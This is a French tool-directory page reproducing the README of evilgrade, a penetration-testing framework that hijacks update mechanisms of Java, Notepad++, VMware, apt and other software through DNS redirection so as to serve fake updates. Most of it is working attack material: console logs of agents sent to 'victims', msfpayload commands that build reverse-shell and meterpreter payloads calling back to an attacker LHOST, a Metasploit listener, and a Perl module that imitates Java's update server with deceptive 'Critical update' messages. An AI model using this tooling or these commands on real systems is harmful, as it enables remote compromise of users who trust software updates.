Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
evilgrade — Evilgrade est un framework modulaire qui permet à l'utilisateur de tirer parti de mauvaises implémentations de mises à jour en injectant de fausses mises à jour. | Kitploit
Outils/GitHubGitHub/infobyte/evilgrade
Frameworks d'ExploitationGénération de PayloadsProxies Web et InterceptionTests d'IntrusionIngénierie SocialeRed TeamingAnalyse DNS
GitHubinfobyte/evilgrade

evilgrade

Evilgrade est un framework modulaire qui permet à l'utilisateur de tirer parti de mauvaises implémentations de mises à jour en injectant de fausses mises à jour.

Voir le dépôt
1.3k276il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [APERÇU RAPIDE] ::.

Evilgrade est un framework modulaire qui permet à l'utilisateur de tirer parti de mauvaises implémentations de mise à jour en injectant de fausses mises à jour. Il est livré avec des binaires préfabriqués (agents), une configuration par défaut fonctionnelle pour des pentests rapides, et possède ses propres modules WebServer et DNSServer. Facile à configurer de nouveaux paramètres, et dispose d'une auto-configuration lorsque de nouveaux agents binaires sont définis.

* Quand dois-je utiliser evilgrade ?

Ce framework entre en jeu lorsque l'attaquant est capable de faire des redirections de noms d'hôte (manipulation du trafic DNS de la victime), et cela peut être fait dans 2 scénarios :

Scénario interne :
  • Accès DNS interne
  • Usurpation ARP
  • Empoisonnement du cache DNS
  • Usurpation DHCP
  • Détournement TCP
  • Usurpation de point d'accès Wi-Fi
Scénario externe :
  • Accès DNS interne
  • Empoisonnement du cache DNS
* Comment cela fonctionne-t-il ?

Evilgrade fonctionne avec des modules, dans chaque module se trouve une structure implémentée nécessaire pour émuler une fausse mise à jour pour une application/système spécifique.

* Quels systèmes d'exploitation sont pris en charge ?

ISR-Evilgrade est multiplateforme, il dépend uniquement d'avoir une charge utile appropriée pour la bonne plateforme cible à exploiter.

Modules implémentés :


  • Freerip 3.30
  • Jet photo 4.7.2
  • Teamviewer 5.1.9385
  • ISOpen 4.5.0
  • Istat.
  • Gom 2.1.25.5015
  • Atube catcher 1.0.300
  • Vidbox 7.5
  • Ccleaner 2.30.1130
  • Fcleaner 1.2.9.409
  • Allmynotes 1.26
  • Notepad++ 5.8.2
  • Java 1.6.0_22 winxp/win7
  • aMSN 0.98.3
  • Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
  • Mirc 7.14
  • Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
  • Dap 9.5.0.3
  • Winscp 4.2.9
  • AutoIt Script 3.3.6.1
  • Clamwin 0.96.0.1
  • AppTapp Installer 3.11 (Iphone/Itunes)
  • getjar (facebook.com)
  • Google Analytics Javascript injection
  • Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
  • Winamp 5.581
  • TechTracker (cnet) 1.3.1 (Build 55)
  • Nokiasoftware firmware update 2.4.8es - (Windows software)
  • Nokia firmware v20.2.011
  • BSplayer 2.53.1034
  • Apt ( < Ubuntu 10.04 LTS)
  • Ubertwitter 4.6 (0.971)
  • Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
  • Cpan 1.9402
  • VirtualBox (3.2.8 )
  • Express talk
  • Filezilla
  • Flashget
  • Miranda
  • Orbit
  • Photoscape.
  • Panda Antirootkit
  • Skype
  • Sunbelt
  • Superantispyware
  • Trillian <= 5.0.0.26
  • Adium 1.3.10 (Sparkle Framework)
  • VMware
  • more...
  • /docs/CHANGES

.:: [UTILISATION PRINCIPALE] ::.

Cela fonctionne de manière similaire à une console IOS.``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

root@kitploit:~
## Liste des modules implémentés``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

Configurer un module spécifié``` console

evilgrade>conf sunjava evilgrade(sunjava)>

root@kitploit:~
#### Afficher tous les VirtualHosts.
#### Le champ VirtualHost contient les domaines que notre serveur web va émuler pour nous.``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

Afficher les options du module actuel.

agent: Ceci est notre binaire de mise à jour factice, nous devons définir le chemin où il se trouve ou implémenter une génération dynamique de binaire de mise à jour factice (voir AVANCÉ).``` console

Télécharger l’outil

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'

root@kitploit:~
#### Démarrer les services (DNS Server et WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

Afficher les journaux de statut et de victimes``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

root@kitploit:~
## .:: [UTILISATION APPROFONDIE] ::.

### Commandes
#### configure / conf - Configurer <module-name>

Exemple :
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>

evilgrade>conf sunjava
evilgrade(sunjava)>

## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>


##
reload    - Reload to get all modules update (to refresh loaded modules, useful on development)
start     - Start webserver
stop      - Stop webserver (fake update server)

Exemple: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#######################################

Example:

evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]

#######################################

restart - Restart services (WebServer and DNS Server) stops and starts again

#######################################

status - Get webserver and victims status

Example:

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

#######################################

show - Display information of .

#######################################

show active - Display active modules in the webserver

#######################################

show modules - Display implemented modules

#########################################

show options - Display modules/global options

Example:

evilgrade>show options

Display options:

.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'

evilgrade> evilgrade(notepadplus)>conf vmware evilgrade(vmware)>show options (without started services)

Display options:

Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"

.----------------------------------------------. | Name | Default | Description | +--------+-------------------+-----------------+ | enable | 1 | Status | | agent | ./agent/agent.exe | Agent to inject | '--------+-------------------+-----------------'

evilgrade(vmware)>show options (with started services after setting agent)

Display options:

Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"

.--------------------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+------------------------------------------------------------------+-----------------+ | enable | 1 | Status | | agentmd5 | f80af637642170507bda998b6f2015fa | | | agentsize | 54576 | | | agent | ./agent/agent.exe | Agent to inject | | agentsha256 | 44f4e3f65f6ca375df4e0247fa0ee1efedbe2965a1c35e910d8d035ec61b76bd | | '-------------+------------------------------------------------------------------+-----------------'

#########################################

set - Configure variables global or modules

Example:

evilgrade>show options

Display options:

.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 0 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'

###Let's enable DEBUG option and set as DNSAnswerIp our Inet address (192.168.1.4)

evilgrade>set debug 1 #Enable debug set debug, 1

evilgrade>set DNSAnswerIp 192.168.1.4 #Ip where evilgrade's DNS Server is listening set DNSAnswerIp, 192.168.1.4

evilgrade>show options

Display options:

.-------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-------------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 192.168.1.4 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-------------+---------------------------------------------------------'

###############################

exit - exits the program

#######################################

help - prints this screen, or help on 'command'

#######################################

root@kitploit:~
## .:: [AVANCÉ] ::.

- Options des modules:
Chaque module a des options spéciales, mais le champ "agent" est toujours présent.
L'agent est notre binaire de mise à jour factice, nous devons définir le chemin où il se trouve ou implémenter une génération dynamique de binaire de mise à jour factice.

[Binaire de mise à jour factice dynamique] permet l'exécution d'une commande externe pour générer notre binaire, par exemple en utilisant msfpayload du framework metasploit.
Avec cette fonctionnalité, nous pouvons générer n'importe quelle charge utile de metasploit ou utiliser une interface externe pour créer le binaire.

# Exemple 1:```
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

Dans ce cas pour chaque binaire de mise à jour requis, nous générons un faux binaire de mise à jour avec la charge utile "windows/shell_reverse_tcp" en utilisant un shell inverse pour se connecter à l'adresse 192.168.233.2 port 4141. Le label <%OUT%><%OUT> est une balise spéciale pour détecter où le binaire de sortie va être généré. Evilgrade détecte l'utilisation de la "fonctionnalité de faux binaire de mise à jour dynamique" en raison d'une phrase entre crochets '[]' À l'intérieur de ces crochets, nous avons une chaîne qui est également entre guillemets "" et qui est compilée en utilisant perl.

Par exemple si nous utilisons :``` evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

root@kitploit:~
then every time we get a binary request, evilgrade will compile the line and execute the final string "./generatebin -o /tmp/update(random).exe"
générant ainsi différents agents.


Une alternative simple, mais non dynamique, pourrait consister à générer le payload directement depuis msfpayload sur un terminal et à l'affecter manuellement à la configuration du module.

# Exemple 2:

(En dehors d'evilgrade)```
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe

(Dans evilgrade)``` evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

root@kitploit:~
Après que notre payload a été générée, nous laissons un multi handler en écoute sur le LHOST précédemment assigné.

(En dehors d'evilgrade)```
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...

.:: [DÉVELOPPEMENT DE MODULE] ::.

Le développement de modules est très simple. Comme evilgrade est basé sur des modules, vous devez simplement utiliser un package .pm (module perl). Dans ce cas, nous allons décrire le module de mise à jour sunjava (commentaires avec #) :``` perl package modules::sunjava;

use strict; use Data::Dump qw(dump);

my $base= { 'name' => 'Sun Microsystems Java', #name of the module to display in the framework 'version' => '2.0', #internal module version 'appver' => '<= 1.6.0_22', #last application version tested with this evilgrade module 'author' => [ 'Francisco Amato < famato +[AT]+ faradaysec.com>' ], #author 'description' => qq{}, #brief description 'vh' => '(java.sun.com|javadl-esd.sun.com)', #VirtualHosts that the application uses to retrieve information about the update configuration files and update binaries.

root@kitploit:~
#Then we have the request object's collection
'request' => [
#Each object it's a possible HTTP request inside the virtualhost configured for the module (java.sun.com)
    {
    'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
    'type' => 'file', #it's the response type (file|string|agent|install)
     #we can use:
                  #file: response with content file referenced in the "file" option below (./include/sunjava_map.xml)
                  #string: response with a string referenced in the "string" options below
                  #agent:  response with content file referenced in the "agent" options (options section)
                  #install: response with content file referenced in the "file" option below
                    #It's used to know if the fake update was executed
                    #In some update process we can specify a final page after update installed
                    #so we send to a controller page.
    'method' => '', #not implemented yet
    'bin'    => '', #set to 1 if we are going to send a binary file
    'string' => '', #if we have chosen the 'type' string then in this variable we set the response
    'parse' => '', #set to 1 if the file or string need be parsed with options
    'file' => './include/sunjava/sunjava_map.xml'
    },

    {
    'req' => '^/java_update.xml$', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => '',
    'string' => '',
    'parse' => '1',
    'file' => './include/sunjava/sunjava_update.xml'
    },
    {
    'req' => '/x.jnlp', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => '',
    'string' => '',
    #In this case we parse the file
                'parse' => '1',
    #To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
          #This tags are replaced with the values of the options, for example
          #<%TITLE%> will be replaced by 'Critical update'
    'file' => './include/sunjava/x.jnlp'
    },
    {
    'req' => '.jar', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => 1,
    'string' => '',
    'parse' => '',
    'file' => './include/sunjava/JavaPayload/FunnyClass2.jar'
    },

    {
    'req' => '.exe', #regex friendly
    'type' => 'agent', #Here we have an agent type with a binary response
    'bin'    => 1,
    'method' => '', #any
    'string' => '',
    'parse' => '',
    'file' => ''
    }
],

#Options
#Here we have the options that will be displayed with "show options" inside the current module.
#This options are used to parse the string or a file using in the responses
'options' => {  'agent'  => { 'val' => './agent/java/javaws.exe', #The default value
          'desc' => 'Agent to inject'}, #Brief description
    'arg'    => { 'val' => 'http://java.sun.com/x.jnlp"',
          'desc' => 'Arg passed to Agent'},
    'enable' => { 'val' => 1,
          'desc' => 'Status'},

#The following is a dynamic hidden option,
#In this case we use the tag <%NAME%> to parse the files and execute perl functions to get randoms values
#You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
                'name'  => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
                            'hidden' => 1,
                      'dynamic' =>1,},

#All the options depend on the update process. You have to research the possible variables and implement them on your module
#These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
    'title'  => { 'val' => 'Critical update',
          'desc' => 'Title name displayed in the update'},
    'description' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description to be displayed during the update'},
    'atitle'  => { 'val' => 'Critical vulnerability',
           'desc' => 'Title name to be displayed in the systray item popup'},
    'adescription' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description  to be displayed in the systray item popup'},
    'website' => { 'val' => 'http://java.com/moreinfolink',
           'desc' => 'Website displayed in the update'}
 }

};

root@kitploit:~
## .:: [CONSEILS] ::.

1) N'oubliez pas d'exécuter evilgrade avec un utilisateur disposant des privilèges pour créer des sockets d'écoute, sinon vous ne pourrez pas utiliser les services d'evilgrade.

2) Chaque fois que vous modifiez un module alors qu'evilgrade est en cours d'exécution, n'oubliez pas de les 'recharger'.

3) Définissez les 'agents' binaires avant de démarrer les services car evilgrade remplira certains champs pour vous (agentmd5, agentsha256 et agentsize) qui ne peuvent pas être remplis s'ils sont déjà en cours d'exécution.

4) Si vous utilisez une réponse dynamique avec des variables telles que : <%AGENTSIZE%>, <%AGENTMD5%>, <%URL\_FILE%>, <%URL\_FILE\_EXT%>, ou des variables personnalisées définies dans la section des options, n'oubliez pas de mettre *parse* à 1.

5) Il en va de même pour l'injection d'un agent, vous devez activer le drapeau *bin* à 1.

6) Si vous souhaitez créer des réponses en texte brut en utilisant HTTP, utilisez le drapeau *cheader*. Exemple ci-dessous :```
        {   'req' => '/sitepath/download/file.zip'
            ,    #regex friendly
            'type'    => 'string',                  #file|string|agent|install
            'method'  => '',                        #any
            'bin'     => '',
            'string'  => '',
            'parse'   => '1',
            'file'    => '',
            'cheader' => "HTTP/1.1 302 Found\r\n"
                . "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
                . "Content-Length: 0 \r\n"
                . "Connection: close \r\n\r\n",
        },

7) To filter via User-Agent, use as an example the Sparkle2 module. In base add  'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".

.:: [EXIGENCES] ::.

Modules Perl```

root@kitploit:~
Data::Dump
Digest::MD5
Time::HiRes
RPC::XML
root@kitploit:~
## .:: [PLUS D'INFORMATIONS] ::.

Ce framework a été présenté lors des conférences de sécurité suivantes :```
· ekoparty 2007 [Buenos Aires, Argentina] [www.ekoparty.org]
· Troopers 2008 [Munich, Germany] [www.troopers08.org]
· Shakacon 2008 [Hawaii, USA] [www.shakacon.org]
· H2HC 2009 [Brazil] [www.h2hc.com.br]
· Blackhat Arsenal & Defcon 2010 [Las Vegas, USA] [www.blackhat.com www.defcon.org]

.:: [AUTEUR] ::.

Francisco Amato famato+at+faradaysec+dot+com